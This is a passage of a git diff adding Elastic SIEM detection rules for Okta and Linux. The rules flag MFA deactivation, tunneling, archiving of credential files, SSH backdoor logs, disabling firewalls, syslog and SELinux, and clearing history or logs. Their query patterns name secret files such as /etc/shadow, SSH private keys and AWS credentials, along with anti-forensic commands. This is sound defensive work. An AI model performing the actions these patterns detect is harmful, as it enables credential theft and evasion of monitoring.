"https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/okta/persistence_attempt_to_deactivate_mfa_for_okta_user_account.toml b/rules/integrations/okta/persistence_attempt_to_deactivate_mfa_for_okta_user_account.toml new file mode 100644 index 000000000..afd22d362 --- /dev/null +++ b/rules/integrations/okta/persistence_attempt_to_deactivate_mfa_for_okta_user_account.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/05/20" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to deactivate multi-factor authentication (MFA) for an Okta user. An adversary may deactivate MFA for +an Okta user account in order to weaken the authentication requirements for the account. +""" +false_positives = [ + """ + If the behavior of deactivating MFA for Okta user accounts is expected, consider adding exceptions to this rule to + filter false positives. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Deactivate MFA for an Okta User Account" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 21 +rule_id = "cd89602e-9db0-48e3-9391-ae3bf241acd8" +severity = "low" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:user.mfa.factor.deactivate +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/okta/persistence_attempt_to_reset_mfa_factors_for_okta_user_account.toml b/rules/integrations/okta/persistence_attempt_to_reset_mfa_factors_for_okta_user_account.toml new file mode 100644 index 000000000..f77ad1b3f --- /dev/null +++ b/rules/integrations/okta/persistence_attempt_to_reset_mfa_factors_for_okta_user_account.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to reset an Okta user's enrolled multi-factor authentication (MFA) factors. An adversary may attempt to +reset the MFA factors for an Okta user's account in order to register new MFA factors and abuse the account to blend in +with normal activity in the victim's environment. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if the MFA factors for Okta user accounts are + regularly reset in your organization. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Reset MFA Factors for an Okta User Account" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 21 +rule_id = "729aa18d-06a6-41c7-b175-b65b739b1181" +severity = "low" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:user.mfa.factor.reset_all +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/linux/command_and_control_tunneling_via_earthworm.toml b/rules/linux/command_and_control_tunneling_via_earthworm.toml new file mode 100644 index 000000000..b12ee5631 --- /dev/null +++ b/rules/linux/command_and_control_tunneling_via_earthworm.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2021/04/12" +maturity = "production" +updated_date = "2021/04/12" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of the EarthWorm tunneler. Adversaries may tunnel network communications to and from a victim +system within a separate protocol to avoid detection and network filtering, or to enable access to otherwise unreachable systems. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Protocol Tunneling via EarthWorm" +references = [ + "http://rootkiter.com/EarthWorm/", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/" +] +risk_score = 47 +rule_id = "9f1c4ca3-44b5-481d-ba42-32dc215a2769" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.args : "-s" and process.args : "-d" and process.args : "rssocks" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1572" +name = "Protocol Tunneling" +reference = "https://attack.mitre.org/techniques/T1572/" + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" diff --git a/rules/linux/credential_access_collection_sensitive_files.toml b/rules/linux/credential_access_collection_sensitive_files.toml new file mode 100644 index 000000000..974b60247 --- /dev/null +++ b/rules/linux/credential_access_collection_sensitive_files.toml @@ -0,0 +1,97 @@ +[metadata] +creation_date = "2020/12/22" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of a compression utility to collect known files containing sensitive information, such as credentials +and system configurations. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Sensitive Files Compression" +references = [ + "https://www.trendmicro.com/en_ca/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html", +] +risk_score = 47 +rule_id = "6b84d470-9036-4cc0-a27c-6d90bbfe81ab" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Collection", "Credential Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:start and + process.name:(zip or tar or gzip or hdiutil or 7z) and + process.args: + ( + /root/.ssh/id_rsa or + /root/.ssh/id_rsa.pub or + /root/.ssh/id_ed25519 or + /root/.ssh/id_ed25519.pub or + /root/.ssh/authorized_keys or + /root/.ssh/authorized_keys2 or + /root/.ssh/known_hosts or + /root/.bash_history or + /etc/hosts or + /home/*/.ssh/id_rsa or + /home/*/.ssh/id_rsa.pub or + /home/*/.ssh/id_ed25519 or + /home/*/.ssh/id_ed25519.pub or + /home/*/.ssh/authorized_keys or + /home/*/.ssh/authorized_keys2 or + /home/*/.ssh/known_hosts or + /home/*/.bash_history or + /root/.aws/credentials or + /root/.aws/config or + /home/*/.aws/credentials or + /home/*/.aws/config or + /root/.docker/config.json or + /home/*/.docker/config.json or + /etc/group or + /etc/passwd or + /etc/shadow or + /etc/gshadow + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1552" +name = "Unsecured Credentials" +reference = "https://attack.mitre.org/techniques/T1552/" +[[rule.threat.technique.subtechnique]] +id = "T1552.001" +name = "Credentials In Files" +reference = "https://attack.mitre.org/techniques/T1552/001/" + + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1560" +name = "Archive Collected Data" +reference = "https://attack.mitre.org/techniques/T1560/" +[[rule.threat.technique.subtechnique]] +id = "T1560.001" +name = "Archive via Utility" +reference = "https://attack.mitre.org/techniques/T1560/001/" + + + +[rule.threat.tactic] +id = "TA0009" +name = "Collection" +reference = "https://attack.mitre.org/tactics/TA0009/" + diff --git a/rules/linux/credential_access_ssh_backdoor_log.toml b/rules/linux/credential_access_ssh_backdoor_log.toml new file mode 100644 index 000000000..524cf72bd --- /dev/null +++ b/rules/linux/credential_access_ssh_backdoor_log.toml @@ -0,0 +1,87 @@ +[metadata] +creation_date = "2020/12/21" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies a Secure Shell (SSH) client or server process creating or writing to a known SSH backdoor log file. +Adversaries may modify SSH related binaries for persistence or credential access via patching sensitive functions to +enable unauthorized access or to log SSH credentials for exfiltration. +""" +false_positives = ["Updates to approved and trusted SSH executables can trigger this rule."] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential OpenSSH Backdoor Logging Activity" +references = [ + "https://github.com/eset/malware-ioc/tree/master/sshdoor", + "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf", +] +risk_score = 73 +rule_id = "f28e2be4-6eca-4349-bdd9-381573730c22" +severity = "high" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Persistence", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type == "change" and process.executable : ("/usr/sbin/sshd", "/usr/bin/ssh") and + ( + file.name : (".*", "~*") or + file.extension : ("in", "out", "ini", "h", "gz", "so", "sock", "sync", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9") or + file.path : + ( + "/private/etc/*--", + "/usr/share/*", + "/usr/include/*", + "/usr/local/include/*", + "/private/tmp/*", + "/private/var/tmp/*", + "/usr/tmp/*", + "/usr/share/man/*", + "/usr/local/share/*", + "/usr/lib/*.so.*", + "/private/etc/ssh/.sshd_auth", + "/usr/bin/ssd", + "/private/var/opt/power", + "/private/etc/ssh/ssh_known_hosts", + "/private/var/html/lol", + "/private/var/log/utmp", + "/private/var/lib", + "/var/run/sshd/sshd.pid", + "/var/run/nscd/ns.pid", + "/var/run/udev/ud.pid", + "/var/run/udevd.pid" + ) + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1556" +name = "Modify Authentication Process" +reference = "https://attack.mitre.org/techniques/T1556/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1554" +name = "Compromise Client Software Binary" +reference = "https://attack.mitre.org/techniques/T1554/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/linux/defense_evasion_attempt_to_disable_iptables_or_firewall.toml b/rules/linux/defense_evasion_attempt_to_disable_iptables_or_firewall.toml new file mode 100644 index 000000000..9b0638931 --- /dev/null +++ b/rules/linux/defense_evasion_attempt_to_disable_iptables_or_firewall.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/04/24" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Adversaries may attempt to disable the iptables or firewall service in an attempt to affect how a host is allowed to +receive or send network traffic. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Disable IPTables or Firewall" +risk_score = 47 +rule_id = "125417b8-d3df-479f-8418-12d7e034fee3" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:ufw and process.args:(allow or disable or reset) or + + (((process.name:service and process.args:stop) or + (process.name:chkconfig and process.args:off) or + (process.name:systemctl and process.args:(disable or stop or kill))) and + process.args:(firewalld or ip6tables or iptables)) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/linux/defense_evasion_attempt_to_disable_syslog_service.toml b/rules/linux/defense_evasion_attempt_to_disable_syslog_service.toml new file mode 100644 index 000000000..6fbe0d379 --- /dev/null +++ b/rules/linux/defense_evasion_attempt_to_disable_syslog_service.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/04/27" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Adversaries may attempt to disable the syslog service in an attempt to an attempt to disrupt event logging and evade +detection by security controls. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Disable Syslog Service" +risk_score = 47 +rule_id = "2f8a1226-5720-437d-9c20-e0029deb6194" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + ((process.name:service and process.args:stop) or + (process.name:chkconfig and process.args:off) or + (process.name:systemctl and process.args:(disable or stop or kill))) + and process.args:(syslog or rsyslog or "syslog-ng") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/linux/defense_evasion_base16_or_base32_encoding_or_decoding_activity.toml b/rules/linux/defense_evasion_base16_or_base32_encoding_or_decoding_activity.toml new file mode 100644 index 000000000..b5e5cf34a --- /dev/null +++ b/rules/linux/defense_evasion_base16_or_base32_encoding_or_decoding_activity.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/04/17" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Adversaries may encode/decode data in an attempt to evade detection by host- or network-based security controls." +false_positives = [ + """ + Automated tools such as Jenkins may encode or decode files as part of their normal behavior. These events can be + filtered by the process executable or username values. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Base16 or Base32 Encoding/Decoding Activity" +risk_score = 21 +rule_id = "debff20a-46bc-4a4d-bae5-5cdd14222795" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:(base16 or base32 or base32plain or base32hex) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1140" +name = "Deobfuscate/Decode Files or Information" +reference = "https://attack.mitre.org/techniques/T1140/" + +[[rule.threat.technique]] +id = "T1027" +name = "Obfuscated Files or Information" +reference = "https://attack.mitre.org/techniques/T1027/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/linux/defense_evasion_deletion_of_bash_command_line_history.toml b/rules/linux/defense_evasion_deletion_of_bash_command_line_history.toml new file mode 100644 index 000000000..d6298a198 --- /dev/null +++ b/rules/linux/defense_evasion_deletion_of_bash_command_line_history.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/05/04" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Adversaries may attempt to clear or disable the Bash command-line history in an attempt to evade detection or forensic +investigations. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Tampering of Bash Command-Line History" +risk_score = 47 +rule_id = "7bcbb3ac-e533-41ad-a612-d6c3bf666aba" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + ( + (process.args : ("rm", "echo") and process.args : (".bash_history", "/root/.bash_history", "/home/*/.bash_history")) or + (process.name : "history" and process.args : "-c") or + (process.args : "export" and process.args : ("HISTFILE=/dev/null", "HISTFILESIZE=0")) or + (process.args : "unset" and process.args : "HISTFILE") or + (process.args : "set" and process.args : "history" and process.args : "+o") + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +name = "Indicator Removal on Host" +reference = "https://attack.mitre.org/techniques/T1070/" +[[rule.threat.technique.subtechnique]] +id = "T1070.003" +name = "Clear Command History" +reference = "https://attack.mitre.org/techniques/T1070/003/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/linux/defense_evasion_disable_selinux_attempt.toml b/rules/linux/defense_evasion_disable_selinux_attempt.toml new file mode 100644 index 000000000..e712df9eb --- /dev/null +++ b/rules/linux/defense_evasion_disable_selinux_attempt.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/04/22" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies potential attempts to disable Security-Enhanced Linux (SELinux), which is a Linux kernel security feature to +support access control policies. Adversaries may disable security tools to avoid possible detection of their tools and +activities. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Disabling of SELinux" +risk_score = 47 +rule_id = "eb9eb8ba-a983-41d9-9c93-a1c05112ca5e" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:setenforce and process.args:0 +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/linux/defense_evasion_file_deletion_via_shred.toml b/rules/linux/defense_evasion_file_deletion_via_shred.toml new file mode 100644 index 000000000..13c7192ca --- /dev/null +++ b/rules/linux/defense_evasion_file_deletion_via_shred.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/04/27" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Malware or other files dropped or created on a system by an adversary may leave traces behind as to what was done within +a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or +remove them at the end as part of the post-intrusion cleanup process. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "File Deletion via Shred" +risk_score = 21 +rule_id = "a1329140-8de3-4445-9f87-908fb6d824f4" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and process.name:shred and + process.args:("-u" or "--remove" or "-z" or "--zero") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +name = "Indicator Removal on Host" +reference = "https://attack.mitre.org/techniques/T1070/" +[[rule.threat.technique.subtechnique]] +id = "T1070.004" +name = "File Deletion" +reference = "https://attack.mitre.org/techniques/T1070/004/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/linux/defense_evasion_file_mod_writable_dir.toml b/rules/linux/defense_evasion_file_mod_writable_dir.toml new file mode 100644 index 000000000..fd9012555 --- /dev/null +++ b/rules/linux/defense_evasion_file_mod_writable_dir.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/04/21" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies file permission modifications in common writable directories by a non-root user. Adversaries often drop files +or payloads into a writable directory and change permissions prior to execution. +""" +false_positives = [ + """ + Certain programs or applications may modify files or change ownership in writable directories. These can be exempted + by username. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "File Permission Modification in Writable Directory" +risk_score = 21 +rule_id = "9f9a2a82-93a8-4b1a-8778-1780895626d4" +severity = "low" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:(chmod or chown or chattr or chgrp) and + process.working_directory:(/tmp or /var/tmp or /dev/shm) and + not user.name:root +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1222" +name = "File and Directory Permissions Modification" +reference = "https://attack.mitre.org/techniques/T1222/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/linux/defense_evasion_hidden_file_dir_tmp.toml b/rules/linux/defense_evasion_hidden_file_dir_tmp.toml new file mode 100644 index 000000000..f44f5e41e --- /dev/null +++ b/rules/linux/defense_evasion_hidden_file_dir_tmp.toml @@ -0,0 +1,66 @@ +[metadata] +creation_date = "2020/04/29" +maturity = "production" +updated_date = "2021/03/03" +min_stack_comments = "EQL regex syntax introduced in 7.12" +min_stack_version = "7.12.0" + +[rule] +author = ["Elastic"] +description = """ +Users can mark specific files as hidden simply by putting a "." as the first character in the file or folder name. +Adversaries can use this to their advantage to hide files and folders on the system for persistence and defense evasion. +This rule looks for hidden files or folders in common writable directories. +""" +false_positives = [ + """ + Certain tools may create hidden temporary files or directories upon installation or as part of their normal + behavior. These events can be filtered by the process arguments, username, or process name values. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +max_signals = 33 +name = "Creation of Hidden Files and Directories" +risk_score = 47 +rule_id = "b9666521-4742-49ce-9ddc-b8e84c35acae" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.working_directory in ("/tmp", "/var/tmp", "/dev/shm") and + process.args regex~ """\.[a-z0-9_\-][a-z0-9_\-\.]{1,254}""" and + not process.name in ("ls", "find") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1564" +name = "Hide Artifacts" +reference = "https://attack.mitre.org/techniques/T1564/" +[[rule.threat.technique.subtechnique]] +id = "T1564.001" +name = "Hidden Files and Directories" +reference = "https://attack.mitre.org/techniques/T1564/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/linux/defense_evasion_kernel_module_removal.toml b/rules/linux/defense_evasion_kernel_module_removal.toml new file mode 100644 index 000000000..da385d91c --- /dev/null +++ b/rules/linux/defense_evasion_kernel_module_removal.toml @@ -0,0 +1,72 @@ +[metadata] +creation_date = "2020/04/24" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Kernel modules are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the +functionality of the kernel without the need to reboot the system. This rule identifies attempts to remove a kernel +module. +""" +false_positives = [ + """ + There is usually no reason to remove modules, but some buggy modules require it. These can be exempted by username. + Note that some Linux distributions are not built to support the removal of modules at all. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Kernel Module Removal" +references = ["http://man7.org/linux/man-pages/man8/modprobe.8.html"] +risk_score = 73 +rule_id = "cd66a5af-e34b-4bb0-8931-57d0a043f2ef" +severity = "high" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.args:((rmmod and sudo) or (modprobe and sudo and ("--remove" or "-r"))) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.006" +name = "Kernel Modules and Extensions" +reference = "https://attack.mitre.org/techniques/T1547/006/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/linux/defense_evasion_log_files_deleted.toml b/rules/linux/defense_evasion_log_files_deleted.toml new file mode 100644 index 000000000..86b49de39 --- /dev/null +++ b/rules/linux/defense_evasion_log_files_deleted.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/11/03" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of sensitive Linux system logs. This may indicate an attempt to evade detection or destroy +forensic evidence on a system. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "System Log File Deletion" +references = [ + "https://www.fireeye.com/blog/threat-research/2020/11/live-off-the-land-an-overview-of-unc1945.html", +] +risk_score = 47 +rule_id = "aa895aea-b69c-4411-b110-8d7599634b30" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type == "deletion" and + file.path : + ( + "/var/run/utmp", + "/var/log/wtmp", + "/var/log/btmp", + "/var/log/lastlog", + "/var/log/faillog", + "/var/log/syslog", + "/var/log/messages", + "/var/log/secure", + "/var/log/auth.log" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +name = "Indicator Removal on Host" +reference = "https://attack.mitre.org/techniques/T1070/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/linux/discovery_kernel_module_enumeration.toml b/rules/linux/discovery_kernel_module_enumeration.toml new file mode 100644 index 000000000..732997b8e --- /dev/null +++ b/rules/linux/discovery_kernel_module_enumeration.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/04/23" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They +extend the functionality of the kernel without the need to reboot the system. This identifies attempts to enumerate +information about a kernel module. +""" +false_positives = [ + """ + Security tools and device drivers may run these programs in order to enumerate kernel modules. Use of these programs + by ordinary users is uncommon. These can be exempted by process name or username. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Enumeration of Kernel Modules" +risk_score = 47 +rule_id = "2d8043ed-5bda-4caf-801c-c1feb7410504" +severity = "medium" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.args:(kmod and list and sudo or sudo and (depmod or lsmod or modinfo)) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1082" +name = "System Information Discovery" +reference = "https://attack.mitre.org/techniques/T1082/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" + diff --git a/rules/linux/discovery_virtual_machine_fingerprinting.toml b/rules/linux/discovery_virtual_machine_fingerprinting.toml new file mode 100644 index 000000000..044841ca2 --- /dev/null +++ b/rules/linux/discovery_virtual_machine_fingerprinting.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/04/27" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies +common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy +RAT and other malware. +""" +false_positives = [ + """ + Certain tools or automated software may enumerate hardware information. These tools can be exempted via user name or + process arguments to eliminate potential noise. + """, +] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Virtual Machine Fingerprinting" +risk_score = 73 +rule_id = "5b03c9fb-9945-4d2f-9568-fd690fee3fba" +severity = "high" +tags = ["Elastic", "Host", "Linux", "Threat Detection", "Discovery"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.args:("/sys/class/dmi/id/bios_version" or + "/sys/class/dmi/id/product_name" or + "/sys/class/dmi/id/chassis_vendor" or + "/proc/scsi/scsi" or + "/proc/ide/hd0/model") and + not user.name:root +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1082" +name = "System Information Discovery" +reference = "https://attack.mitre.org/techniques/T1082/" + + +[rule.threat.tactic] +id = "TA0007" 